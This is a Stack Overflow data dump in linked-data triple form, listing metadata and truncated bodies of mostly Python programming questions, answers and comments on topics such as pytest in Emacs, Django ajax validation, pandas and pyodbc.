answers question: http://stackoverflow.com/q/48773153
upvote count: 0

http://stackoverflow.com/q/48726971
has comment: http://stackoverflow.com/comment/84452873
has body: If I run pytest inside of Emacs, using M-X compile, $TERM gets set to "dumb", and this seems to confuse pytest's attempt to draw a line of =s across the full width of the screen. It gets the width one too high, resulting in hard to read output with extra folded lines. Running unset COLUMNS; pytest helps a little, but it's still trying to do some fancy overwriting by issuing raw carriage-returns, and messing that up. I've also tried setting various values for $TERM (ansi, glass-tty, etc). I even tried, unset TERM. Any way to convince pytest to just produce dumb output and not try to do any fancy output formatting? I'm also open to ideas on how to pistol-whip emacs into setting the environment correctly :-) I'm running: GNU Emacs 22.1.1 Python 3.6.2 pytest version 3.4.0 MacOS 10.12.6 (16G1212) Terminal Version 2.7.3 (388.1.1)
score: 0
has title: Running pytest inside emacs results in ugly output
answer count: 1
has comment: http://stackoverflow.com/comment/84467250
type: UnansweredQuestion
tagged with: emacs
tagged with: python
has comment: http://stackoverflow.com/comment/84466726
tagged with: pytest
has comment: http://stackoverflow.com/comment/84453808
has comment: http://stackoverflow.com/comment/84466379
type: Question
has comment: http://stackoverflow.com/comment/84452916
tagged with: testing
has answer: http://stackoverflow.com/a/59364818
has comment: http://stackoverflow.com/comment/84452940

http://stackoverflow.com/comment/84377220
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48689438
has text: What would you gain by doing the two simultaneously?

http://stackoverflow.com/q/48742985
tagged with: ubuntu
tagged with: bluetooth
has body: I've been working on a program to access an iBeacon data over bluetooth on my Pi 3 running ubuntu mate 16.04 with out the use of sudo so it can be called from another script. My code works fine when I initialise the class in the if__name__=="__main__": section?? (not sure of the exact name) Problem when I created the ibeacon class to allow the program to be called from another script using a single line I cannot seem to access the device even though the two setups are identical as far as I can see. Here is the full code, if you want to run it you will need pctrl and bluepy to install them use sudo apt-get install python-prctl and sudo pip install bluepy and lastly change the permission of bluesy-helper executable using sudo chmod 4755 bluepy-helper to remove the need for sudo to access the bluetooth module. I also added pi ALL= NOPASSWD: /home/pi/python/ibeacon.py to the last line of visudo but not sure if that is necessary. when mode = 0 it will not work but, using mode = 1 will, I cannot nut it out, please help! import time, math, datetime, prctl import numpy as np from os import getcwd from threading import Thread from bluepy.btle import Scanner, DefaultDelegate class KalmanFilter(object): def __init__(self, process_variance,estimated_measurement_variance): self.process_variance = process_variance self.estimated_measurement_variance = estimated_measurement_variance self.posteri_estimate = 1.0 self.posteri_error_estimate = 2.0 def input_latest_noisy_measurement(self, measurement): priori_estimate = self.posteri_estimate priori_error_estimate = self.posteri_error_estimate + self.process_variance blending_factor = priori_error_estimate / (priori_error_estimate + self.estimated_measurement_variance) self.posteri_estimate = priori_estimate + blending_factor * (measurement - priori_estimate) self.posteri_error_estimate = (1 - blending_factor) * priori_error_estimate def get_latest_estimated_measurement(self): return self.posteri_estimate class ScanDelegate(DefaultDeleg…
downvote count: 2
has comment: http://stackoverflow.com/comment/84486614
upvote count: 1
answer count: 1
tagged with: raspberry-pi3
tagged with: ibeacon
favorite count: 0
has comment: http://stackoverflow.com/comment/84486138
has title: Cannot workout issue with python code
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48743931
has comment: http://stackoverflow.com/comment/84485721
has comment: http://stackoverflow.com/comment/84487213
type: Question
has answer: http://stackoverflow.com/a/48743931
score: -1

http://stackoverflow.com/a/50482692
downvote count: 0
answers question: http://stackoverflow.com/q/48689317
type: Answer
upvote count: 1
score: 1
has body: I had the same problem, @alasdair's answer helped me fix it. Basically you're using old packages with a new version of django. Downgrading your django to v1.9 or upgrading pysolr and django-haystack packages will solve the problem.

http://stackoverflow.com/comment/84581138
comment on: http://stackoverflow.com/a/48787810
score: 1
has text: This will only work if the bids are ordered in ascending order
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48694167
has body: I'm a python noob, trying to take a variable, match this to a dictionary key and then return the value of the matching key. If it doesn't match any, continue loop. The goal is to create a crude user database so that user input can choose the corresponding class instance of the same name. I'm getting a syntax error: if name == account_list[]: SyntaxError: invalid syntax (pointing to the 2nd []). Is there a syntax to make this work, or am I off base here? Thanks in advance for the help. class BankAccount(): balance = 0.0 account_owner = "" def welcome(self): print("Welcome, " + self.account_owner.name + "!") account_list = { "Matty": mattyAccount "Hannah": hannahAccount ..etc } name = input("Enter Username:\n") while name != account_list[]: print("Not recognized.") else: account_list[name].welcome()
type: Question
upvote count: 2
score: 0
downvote count: 2
answer count: 1
favorite count: 0
has title: python match variable to dict key and return value
has comment: http://stackoverflow.com/comment/84386873
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84387565
has answer: http://stackoverflow.com/a/48694203
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48694203
type: AnsweredQuestion

http://stackoverflow.com/a/48786594
downvote count: 0
has comment: http://stackoverflow.com/comment/84574556
score: 1
type: Answer
has body: Default reverse lookup for ForeignKey is model_set or phone_set so you need to rename phone field to phone_set, also you need to provide many=True argument to serialize set of objects: class ClientSerializer(ModelSerializer, GlobalObjectMixin): id = IntegerField(read_only=True) title = CharField(required=True) phone_set = PhoneSerializer(required=False, many=True) def create(self, validated_data): if 'phone_set' in validated_data: phones = validated_data.pop('phone_set') In this case you need to provide data in following format: { "title": "title", "phone_set": { "number": 1234567 } }
accepted answer of: http://stackoverflow.com/q/48786398
has comment: http://stackoverflow.com/comment/84574951
upvote count: 1
has comment: http://stackoverflow.com/comment/84575484
answers question: http://stackoverflow.com/q/48786398
has comment: http://stackoverflow.com/comment/84576061
has comment: http://stackoverflow.com/comment/84574794
has comment: http://stackoverflow.com/comment/84575596
type: AcceptedAnswer

http://stackoverflow.com/a/48687833
type: AcceptedAnswer
has body: Well, there is a (mostly) pure Python way using zip: def evaluate_all(funcs, x): return np.array([func(val) for func, val in zip(funcs, x)]) A way to use a bit more numpy, would be using the numpy.vectorize wrapper, which allows you to use the numpy broadcasting rules (which simplify here to call the function once for each pair of items in funcs and x): @np.vectorize def evaluate_all(f, x): return f(x) y = evaluate_all(funcs, x) This has the nice feature that it also allows you to do e.g. evaluate_all(funcs, 10) (so funcs has some length, but x is just a scalar), or evaluate_all(lambda x: 2*x, [10, 20]) (which is the same as apply, but probably slower). Note, though that the documentation for numpy.vectorize states: The vectorize function is provided primarily for convenience, not for performance. The implementation is essentially a for loop. The two functions differ in their behavior in the case where funcs and x are not of the same dimension. zip just stops at the end of the shorter iterable, while numpy will raise a ValueError if the shapes are incompatible.
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48687720
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48687720
upvote count: 2

http://stackoverflow.com/a/65164843
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/48776564
score: 2
downvote count: 0
has body: This works using memory mapped files. I do not claim high speed or efficiency in any way. These are just to show an example of it working. $ python --version Python 3.7.9 $ g++ --version g++ (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 The C++ side only monitors the values it needs. The Python side only provides the values. Note: the file name "pods.txt" must be the same in the C++ and python code. #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(void) { // assume file exists int fd = -1; if ((fd = open("pods.txt", O_RDWR, 0)) == -1) { printf("unable to open pods.txt\n"); return 0; } // open the file in shared memory char* shared = (char*) mmap(NULL, 8, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); // periodically read the file contents while (true) { printf("0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X\n", shared[0], shared[1], shared[2], shared[3], shared[4], shared[5], shared[6], shared[7]); sleep(1); } return 0; } The python side: import mmap import os import time fname = './pods.txt' if not os.path.isfile(fname): # create initial file with open(fname, "w+b") as fd: fd.write(b'\x01\x00\x00\x00\x00\x00\x00\x00') # at this point, file exists, so memory map it with open(fname, "r+b") as fd: mm = mmap.mmap(fd.fileno(), 8, access=mmap.ACCESS_WRITE, offset=0) # set one of the pods to true (== 0x01) all the rest to false posn = 0 while True: print(f'writing posn:{posn}') # reset to the start of the file mm.seek(0) # write the true/false values, only one is true for count in range(8): curr = b'\x01' if count == posn else b'\x00' mm.write(curr) # admire the view time.sleep(2) # set up for the next position in the next loop posn = (posn + 1) % 8 mm.close() fd.close() To run it, in terminal #1: a.out # or whatever you called the C++ executable 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x…

http://stackoverflow.com/comment/84388925
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48694939
has text: You're going to need to provide more info if you want anyone to be able to help you.
score: 0

http://stackoverflow.com/comment/84494205
type: AnswerComment
has text: @ElodieDellier Thanks,.but its not giving expected result .its displaying result till \n
type: Comment
comment on: http://stackoverflow.com/a/48747101
score: 0

http://stackoverflow.com/comment/84608881
type: AnswerComment
comment on: http://stackoverflow.com/a/48801732
has text: What does `low_memory = False` do?
score: 6
type: Comment

http://stackoverflow.com/q/48719077
has body: I found a similar question which is quite a bit outdated. I wonder if it's possible without the use of another library. Currently, the forms.ValidationError will trigger the form_invalid which will only return a JSON response with the error and status code. I have an ajax form and wonder if the usual django field validations can occur on the form field upon an ajax form submit. My form triggering the error: class PublicToggleForm(ModelForm): class Meta: model = Profile fields = [ "public", ] def clean_public(self): public_toggle = self.cleaned_data.get("public") if public_toggle is True: raise forms.ValidationError("ERROR") return public_toggle The corresponding View's mixin for ajax: from django.http import JsonResponse class AjaxFormMixin(object): def form_invalid(self, form): response = super(AjaxFormMixin, self).form_invalid(form) if self.request.is_ajax(): return JsonResponse(form.errors, status=400) else: return response def form_valid(self, form): response = super(AjaxFormMixin, self).form_valid(form) if self.request.is_ajax(): print(form.cleaned_data) print("VALID") data = { 'message': "Successfully submitted form data." } return JsonResponse(data) else: return response The View: class PublicToggleFormView(AjaxFormMixin, FormView): form_class = PublicToggleForm success_url = '/form-success/' On the browser console, errors will come through as a 400 Bad Request, followed by the responseJSON which has the correct ValidationError message. Edit: Any way to get the field validation to show client-side? edit: Additional code: Full copy of data received on front-end: {readyState: 4, getResponseHeader: ƒ, getAllResponseHeaders: ƒ, setRequestHeader: ƒ, overrideMimeType: ƒ, …} abort: ƒ (a) always: ƒ () catch: ƒ (a) done: ƒ () fail: ƒ () getAllResponseHeaders: ƒ () getResponseHeader: ƒ (a) overrideMimeType: ƒ (a) pipe: ƒ () progress: ƒ () promise: ƒ (a) readyState: 4 responseJSON: public: ["ERROR"] __proto__: Object responseText: "{"public": ["ERROR"]}" setRequestHeade…
has comment: http://stackoverflow.com/comment/84437339
accepted answer: http://stackoverflow.com/a/48720039
tagged with: python
has title: Is there a way to raise normal Django form validation through ajax?
upvote count: 6
tagged with: django-templates
has comment: http://stackoverflow.com/comment/84437447
score: 6
tagged with: django
linked to: http://stackoverflow.com/q/7766621
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84437190
tagged with: django-forms
has answer: http://stackoverflow.com/a/48720039
type: Question
has comment: http://stackoverflow.com/comment/84437209
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/a/48723480
type: Answer
answers question: http://stackoverflow.com/q/48680012
downvote count: 1
has comment: http://stackoverflow.com/comment/84457026
upvote count: 5
has comment: http://stackoverflow.com/comment/84457205
has body: If you're in a new project directory, these commands create a new virtualenv using pipenv: Create a new virtualenv with python 2: pipenv --two Create a new virtualenv with python 3: pipenv --three Create a new virtualenv with an arbitrary python version: pipenv --python 3.6.4
score: 4
has comment: http://stackoverflow.com/comment/84455607

http://stackoverflow.com/a/48710491
type: Answer
score: 0
has body: As pointed out in other comments, defaultdictionary eliminates the need for the if else statements. new_new_dict={} for k,v in new_dict.items(): k1 = k[0] if k1 in new_new_dict: new_new_dict[k1].extend(v) else: new_new_dict[k1]=v
answers question: http://stackoverflow.com/q/48710370

http://stackoverflow.com/comment/84465967
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48733351
type: QuestionComment
has text: https://stackoverflow.com/questions/1347791/unicode-error-unicodeescape-codec-cant-decode-bytes-cannot-open-text-file

http://stackoverflow.com/q/48743054
tagged with: tensorflow
type: Question
has title: Convert TensorFlow Graph from PB to float16 operations
tagged with: deep-learning
answer count: 1
has body: I have a frozen graph, PB file which i import to TensorFlow, at the moment all the data types and operations are done in float32, how can i convert everything to float16 instead, even the operations such as multiply, convolutions ?
type: UnansweredQuestion
tagged with: python
tagged with: conv-neural-network
score: 0
has answer: http://stackoverflow.com/a/51147937

http://stackoverflow.com/comment/84529451
comment on: http://stackoverflow.com/a/48763392
score: 0
type: AnswerComment
type: Comment
has text: what your are misunderstanding is i get right now this value [[[300] [150] [275] [225]] [[400] [250] [375] [325]]] and what i want is [[[400] [289] [421] [985]] [[342] [198] [267] [545]]] so its not returning the right min. data i want

http://stackoverflow.com/a/48779710
accepted answer of: http://stackoverflow.com/q/48737278
has comment: http://stackoverflow.com/comment/84599934
type: Answer
downvote count: 0
score: 3
upvote count: 3
has body: As my comment has been confirmed, I should conclude that the fix to the problem is concerning coordinate transformation. And the new code for the troubled part is: ax.annotate("blablabla", m1(121.597366,25.105497),color='green')
answers question: http://stackoverflow.com/q/48737278
has comment: http://stackoverflow.com/comment/84617757
type: AcceptedAnswer

http://stackoverflow.com/comment/84590701
type: Comment
comment on: http://stackoverflow.com/q/48792443
score: 0
has text: @Marathon55, yes sorry that I did not make myself clear
type: QuestionComment

http://stackoverflow.com/a/48769343
has body: You can convert your dataframe to the records format you need with pd.DataFrame.to_dict: x.to_dict('records') # [{'sample': 'A', 'lane': 1}, # {'sample': 'B', 'lane': 1}, # {'sample': 'C', 'lane': 2}] Since this results in a list, you can then map frozenset to the list like so: # using abbreviation 'r' instead of 'records' map(lambda y: frozenset(y.iteritems()), x.to_dict('r')) # [frozenset([('sample', 'A'), ('lane', 1)]), # frozenset([('sample', 'B'), ('lane', 1)]), # frozenset([('sample', 'C'), ('lane', 2)])] Or, using a set comprehension, if your output should be a set of frozensets: {frozenset(y.iteritems()) for y in x.to_dict('records')} # set([frozenset([('sample', 'C'), ('lane', 2)]), # frozenset([('sample', 'B'), ('lane', 1)]), # frozenset([('sample', 'A'), ('lane', 1)])])
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84569875
answers question: http://stackoverflow.com/q/48769224
has comment: http://stackoverflow.com/comment/84578247
accepted answer of: http://stackoverflow.com/q/48769224
upvote count: 3
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/84545217
has text: Er, no. `df -h` tells you about disk space.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48771972
score: 0

http://stackoverflow.com/comment/84477478
type: Comment
has text: The substring may or may not include the beginning of the word. I may edit the question itself, but what's populating the dict is OCR. I read a label with a camera, push the image to GCP's Cloud Vision API, and get a JSON back. The problem is, from testing, it sometimes misses characters on word boundaries, or will read "K" as "k". Just re-read your other comment, I misunderstood it at first, yeah the 'dre' / 'Andre' instance could be a problem
comment on: http://stackoverflow.com/a/48738732
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84438672
comment on: http://stackoverflow.com/a/48719827
has text: what if I dont have that combination? suppose, it stopped at marital status, gender and age range ..it should only return me until there
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/104867855
type: Comment
score: 2
type: AnswerComment
has text: Any further insight why it happens etc? if possible, please
comment on: http://stackoverflow.com/a/59334555

http://stackoverflow.com/q/48672072
tagged with: python
has answer: http://stackoverflow.com/a/48672489
has comment: http://stackoverflow.com/comment/84342351
type: AnsweredQuestion
score: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/48672489
has title: Pandas - on each column apply a function returning multiple values
possible better answer: http://stackoverflow.com/a/48672176
type: Question
has body: I have a dataframe &gt;&gt;&gt;df = pd.DataFrame({"a" : [1,2,3], "b" :[4,5,6], "c":[10,11,12]}) a b c 0 1 4 10 1 2 5 11 2 3 6 12 and a function that returns multiple values. &gt;&gt;&gt;def my_fun(values): &gt;&gt;&gt; return(values+10, values*3) It works on a single column: &gt;&gt;&gt;res_1, res_2 = my_fun(df['a']) &gt;&gt;&gt;print(res_1) 0 3 1 6 2 9 &gt;&gt;&gt;print(res_2) 0 11 1 12 2 13 But when I try to use apply to get two dataframes as result, I get an error. &gt;&gt;&gt;res_1, res_2 = df.apply(my_fun, axis=0) --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-173-142501cd22f6&gt; in &lt;module&gt;() 23 # return(values_2+10, values_2*3) 24 ---&gt; 25 res_1, res_2 = df.apply(my_fun, axis=0) ValueError: too many values to unpack (expected 2) Any clue? Note that this is just an ilustrative example. UPDATE: I am really aiming at applying a function columnwise rather than other workaround (as this example is only ilustrative). The example provided above is ambiguous, a better one would be the following, where I want to add average of each column: &gt;&gt;&gt;import numpy as np &gt;&gt;&gt;def my_fun_2(values): &gt;&gt;&gt; return(values+np.mean(values), values*3)
has answer: http://stackoverflow.com/a/48672176
tagged with: dataframe
has comment: http://stackoverflow.com/comment/84342391
tagged with: apply
answer count: 2
tagged with: pandas
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/84441042
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48720753
has text: @Guy, i knew both of them, but did not realize the difference between them, really a windfall, thanks.
type: Comment

http://stackoverflow.com/comment/84442468
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48721791
has text: `email_list_string.split(',')`

http://stackoverflow.com/a/48737201
type: Answer
downvote count: 1
score: -1
has body: try this : magic_number = 10 guess = int(input("I am thinking of a number between 1 and 10, can you guess it? ")) if guess == magic_number: print("WOW! You must be psychic, that is spot on") else: print("Nope, that's not it")
answers question: http://stackoverflow.com/q/48737130
has comment: http://stackoverflow.com/comment/84474964
upvote count: 0

http://stackoverflow.com/comment/84309340
has text: Are you sure Pickle is a good choice of serialization format? Anyway, put it in a file and put the path to the file in your database.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48655584

http://stackoverflow.com/q/48774516
has comment: http://stackoverflow.com/comment/84552057
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84552024
favorite count: 0
tagged with: sql-server
has body: I know this kind of question has been asked before but still couldn't find the answer I'm looking for. I'm doing bulk insert of the csv file into the SQL Server table but I am getting error shown below: My Code: df_output.to_csv('new_file_name.csv', sep=',', encoding='utf-8') conn = pyodbc.connect(r'DRIVER={SQL Server}; PORT=1433; SERVER=Dev02; DATABASE=db;UID='';PWD='';') curr = conn.cursor() print("Inserting!") curr.execute("""BULK INSERT STG_CONTACTABILITY_SCORE FROM 'C:\\Users\\kdalal\\callerx_project\\caller_x\\new_file_name.csv' WITH ( CODEPAGE = 'ACP', FIRSTROW = 2, FIELDTERMINATOR = ',', ROWTERMINATOR = '\n' );""") conn.commit() The Error: pyodbc.ProgrammingError: ('42000', '[42000] [Microsoft][ODBC SQL Server Driver][SQL Server]Cannot bulk load because the file "C:\Users\kdalal\callerx_project\caller_x\new_file_name.csv" could not be opened. Operating system error code 3(The system cannot find the path specified.). (4861) (SQLExecDirectW)') 'new_file_name.csv' is in the specified path. I tried changing the path to just 'new_file_name.csv' since it is in the folder from where I am running the script still it throws a file does not exists Can you please tell me what am I doing wrong here. Thanks a lot in advance.
tagged with: python
accepted answer: http://stackoverflow.com/a/48777646
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84552155
linked to: http://stackoverflow.com/q/48006551
score: 1
upvote count: 1
tagged with: pyodbc
type: Question
has comment: http://stackoverflow.com/comment/84552716
type: AnsweredQuestion
has title: BULK INSERT into SQL Server table using pyodbc: cannot find file
has answer: http://stackoverflow.com/a/48777646
has comment: http://stackoverflow.com/comment/84553195
has comment: http://stackoverflow.com/comment/84553211

http://stackoverflow.com/q/48732735
has body: I've worked with little personal assistant project lately and now I'm facing this problem/bug and I can't get over it. Here's part of my code: import os import sys from colorama import Fore, Back, Style import random from os import system from src import commands system("title Assistant") actions = { "open":["pubg", "dota", "origins", "spotify", "dogs"],#"open":{["o"]:["pubg", "dota", "origins", "spotify", "dogs"]}, "hue":["1"], "clear":"", "hiber":"", "shutdown":"" } class MainClass: # logo1 = Fore.CYAN + """Not essential""" logo2 = Fore.CYAN + """Not essential""" errorcode = "Something went wrong :(" def getCommand(self): cmd = input(Fore.MAGENTA + "Assistant &gt; " + Fore.CYAN) print("cmd: " + cmd) self.checkCommand(cmd) def checkCommand(self, cmd): actions = commands.Commands().actions words = cmd.lower().split() print("Words: " + ' '.join(words)) found = False ekasana = "" par = "" print("running if " + words[0] + str(words[0] == "q")) #Here's the problem. After I imput 'clear', which clear's the screen and runs mainInterface(2.0, randomthing), this if does not work. # Here's the output # Not essentialv 2.0 # By Dudecorn # Assistant &gt; q # cmd: q # Words: q # running if qTrue # self.errorcode # clear # ['clear'] # Assistant &gt; # Why is is that clear command staying there? I am so confused right now. # Read line 68 if words[0] == "q": quit() sys.exit() for word in words: word = ''.join(word)# Sorry about the mess print(word) # Check for action without parameters if word in actions and actions[word] == "" and found == False: try: # I'm pretty sure that this part of code is causing the problem # If you remove try and except, and leave just lines 70 and 71, code works as line 58 if statement's value is true. # This is in the another file -&gt; getattr(commands.Commands, word)(self) self.mainInterface(2.0, random.randint(1, 2)) break except: print("self.errorcode") print(word) print(words) # Check for action that has parameters elif word in actions and not actio…
tagged with: python
has answer: http://stackoverflow.com/a/48732968
upvote count: 1
type: AnsweredQuestion
has title: Python try and except bug (probably)
score: 1
type: Question
tagged with: try-catch
accepted answer: http://stackoverflow.com/a/48732968
downvote count: 0
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84492294
type: QuestionComment
has text: But if there was a problem with the urls.py file, then could the link just below would work? My question is not really why its broken, but how can it be broken when the link just below is working fine. Please just look at the "update_button" button and the link right below "<a href=" they point to exactly the same thing right. Even when I click inspect element, I see that they point to the same page, however they redirect to different pages. I supposed that since the link works, then urls.py works aswell. Nevertheless, I shall include the urls.py and the view as well.
comment on: http://stackoverflow.com/q/48734161
score: 0
type: Comment

http://stackoverflow.com/a/48920924
answers question: http://stackoverflow.com/q/48743106
upvote count: 9
score: 9
downvote count: 0
type: Answer
has body: If you're curious where it comes from in cpython, the value is computed from the locale module using langinfo. Here's a tiny C program which demonstrates how the _locale module determines this information: #include &lt;langinfo.h&gt; #include &lt;locale.h&gt; #include &lt;stdio.h&gt; int main () { setlocale(LC_ALL, ""); printf("%s\n", nl_langinfo(CODESET)); return 0; } And some sample output: $ LANG= ./a.out ANSI_X3.4-1968 $ LANG=en_US.UTF-8 ./a.out UTF-8 python normalizes the ansi name to ascii (or US-ASCII)

http://stackoverflow.com/q/48784578
has answer: http://stackoverflow.com/a/48784929
accepted answer: http://stackoverflow.com/a/48784929
answer count: 1
has title: Transparency issues drawing a rectangle with rounded corners
favorite count: 0
tagged with: python-3.x
upvote count: 2
tagged with: python
score: 2
type: AnsweredQuestion
tagged with: python-imaging-library
has body: I'm attemping to draw rectangles with rounded corners using some code I found in a tutorial, modified slightly by me: # Rounded rectangle algorithm copied from http://ju.outofmemory.cn/entry/18060 def round_corner(self, radius, fill): corner = Image.new('RGBA', (radius, radius), (0, 0, 0, 0)) draw = ImageDraw.Draw(corner) draw.pieslice((0, 0, radius * 2, radius * 2), 180, 270, fill=(fill)) return corner def round_rectangle(self, size, radius, fill): width, height = size rectangle = Image.new('RGBA', size, red) corner = self.round_corner(radius, fill) rectangle.paste(corner, (0, 0)) rectangle.paste(corner.rotate(90), (0, height - radius)) # Rotate the corner and paste it rectangle.paste(corner.rotate(180), (width - radius, height - radius)) rectangle.paste(corner.rotate(270), (width - radius, 0)) return rectangle # Get rounded box img = self.round_rectangle((200, 200), 30, black) # Join with output image self.image_canvas.paste(img, (500,500)) But my results look like this after showing it with tkinter: Note the grey square corners outside of the rounded corners. This seem to happen on both my Windows and Ubuntu development machines. I'm not sure how they got there or how to get rid of them.
type: Question
downvote count: 0

http://stackoverflow.com/comment/84469762
has text: mlxtend is not available on conda. also I want pip to work in case for future packages. thanks
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48734848
score: 0

http://stackoverflow.com/a/48721779
has comment: http://stackoverflow.com/comment/84443517
has comment: http://stackoverflow.com/comment/84443012
has comment: http://stackoverflow.com/comment/84442492
downvote count: 0
has comment: http://stackoverflow.com/comment/84443524
has comment: http://stackoverflow.com/comment/84442625
has comment: http://stackoverflow.com/comment/84443069
type: Answer
has body: Your lat1 and lon1 are list of dictionaries. Therefore when you access their actual values do as following in your loop, result = [] for i in range(len(lat1)): x = Decimal(111.12) * (Decimal(28.616700) - lat1[i]['latitude']); y = Decimal(111.12) * (Decimal(77.216700) - lon1[i]['longitude']) * Decimal(math.cos(lat1[i]['latitude'])) / Decimal(92.215); result.append(math.sqrt(x * x + y * y)); Following is the console output for an example case, &gt;&gt;&gt; lat1=[{u'latitude': Decimal('28.633300')}] &gt;&gt;&gt; lon1=[{u'longitude': Decimal('28.633300')}] &gt;&gt;&gt; x = Decimal(111.12) * (Decimal(28.616700) - lat1[0]['latitude']); &gt;&gt;&gt; y = Decimal(111.12) * (Decimal(77.216700) - lon1[0]['longitude']) * Decimal(math.cos(lat1[0]['latitude'])) / Decimal(92.215); &gt;&gt;&gt; result = math.sqrt(x * x + y * y); &gt;&gt;&gt; result 54.84298321157983
has comment: http://stackoverflow.com/comment/84443708
has comment: http://stackoverflow.com/comment/84443693
has comment: http://stackoverflow.com/comment/84443150
has comment: http://stackoverflow.com/comment/84443181
has comment: http://stackoverflow.com/comment/84443222
upvote count: 1
has comment: http://stackoverflow.com/comment/84443307
score: 1
answers question: http://stackoverflow.com/q/48721492
has comment: http://stackoverflow.com/comment/84443256
has comment: http://stackoverflow.com/comment/84442511

http://stackoverflow.com/comment/84514605
has text: Have you tried adding the full path to the `.crx` file?
type: Comment
comment on: http://stackoverflow.com/q/48749757
score: 0
type: QuestionComment

http://stackoverflow.com/q/48781952
has answer: http://stackoverflow.com/a/48782906
tagged with: django
tagged with: python
type: AnsweredQuestion
has body: The user have to be able to submit and save the value of the range slider 1. The purpose is that the user guesses how full an object is in real life and then can report back as part of a game the filling percentage. The user interface is in the picture below. Currently I can retrieve the data from the POST form (in the slider.html) as a preset 'value' but not the range slider value. I have looked much around, the problem is i'm not familiar enough with Javascript to implement the solution. I'm thinking one can fetch the value from the javascript function and directly tot he POST html form? Can anyone help suggesting how to do that or any other suggestions? This is the code so far, it's a bit of a mess because of many try and errors Models.py from django.db import models from django.forms import ModelForm from django import forms class Measurements(models.Model): DeviceId = models.IntegerField(blank=True, null=True) TimeStamp = models.DateTimeField(auto_now=True) Metadata = models.IntegerField(blank=True, null=True) Sensor = models.IntegerField(default=False) Button = models.IntegerField(default=False) QrUser = models.IntegerField(default=True) FillingPercentage = models.DecimalField(max_digits=4, decimal_places=2, blank=True, null=True) slider_value = models.IntegerField(default=False, null=True, blank=True) def __str__(self): return str(self.DeviceId) class Meta: verbose_name_plural = "Measurements" Forms.py from django.forms import ModelForm from django import forms from .models import Measurements class MeasurementsForm(ModelForm): class Meta: model = Measurements fields = ('FillingPercentage','slider_value') widgets = {'slider_value' : forms.HiddenInput()} def clean_FillingPercentage(self): print("fUNCTION CALLED") value = self.cleaned_data.get('something_else') print(value) class IntegerFieldForm(forms.Form): field5 = forms.IntegerField( help_text="Filling percentage", widget=forms.NumberInput(attrs={'type': 'range', 'min': '0', 'max': '100'})) Views.py from dj…
accepted answer: http://stackoverflow.com/a/48782906
tagged with: django-models
tagged with: django-forms
has answer: http://stackoverflow.com/a/48790630
type: Question
possible better answer: http://stackoverflow.com/a/48790630
tagged with: javascript
score: 0
answer count: 2
has title: How to get jQuery range slider value into form to store in database in Django
has comment: http://stackoverflow.com/comment/84567138
has comment: http://stackoverflow.com/comment/84571517

http://stackoverflow.com/comment/84446278
comment on: http://stackoverflow.com/q/48723145
score: 0
type: Comment
type: QuestionComment
has text: At which step of the wiki page have you got the error?

http://stackoverflow.com/a/48657204
has comment: http://stackoverflow.com/comment/84314940
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/48657050
upvote count: 3
answers question: http://stackoverflow.com/q/48657050
type: AcceptedAnswer
downvote count: 0
has body: You can use a third party library like dateutil In [14]: from dateutil.parser import parse In [15]: c = "04/23/2018" In [16]: parse(c) Out[16]: datetime.datetime(2018, 4, 23, 0, 0) In [17]: print(parse(c)) 2018-04-23 00:00:00 # this format is same as your db's datetime format

http://stackoverflow.com/comment/84590024
score: 0
has text: Just a quick troubleshooting suggestion, what if you edit the return to specify the return type to json? Something like this: return HttpResponse(request_getdata, content_type='application/json')
comment on: http://stackoverflow.com/q/48793912
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84532654
comment on: http://stackoverflow.com/q/48765636
score: 0
type: Comment
has text: Yes I've added it above
type: QuestionComment

http://stackoverflow.com/a/48781267
accepted answer of: http://stackoverflow.com/q/48780016
type: AcceptedAnswer
type: Answer
has body: You can use the module ElementTree that usually comes with Python: import xml.etree.ElementTree as ET https://docs.python.org/3/library/xml.etree.elementtree.html Look for the method fromstring.
answers question: http://stackoverflow.com/q/48780016
score: 0

http://stackoverflow.com/q/48778152
tagged with: while-loop
tagged with: python
has comment: http://stackoverflow.com/comment/84558070
has comment: http://stackoverflow.com/comment/84558124
has comment: http://stackoverflow.com/comment/84558261
upvote count: 3
has answer: http://stackoverflow.com/a/48780484
has title: for-loops being used as while-loops (python)
linked to: http://stackoverflow.com/q/1207406
type: Question
accepted answer: http://stackoverflow.com/a/48780484
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/84558185
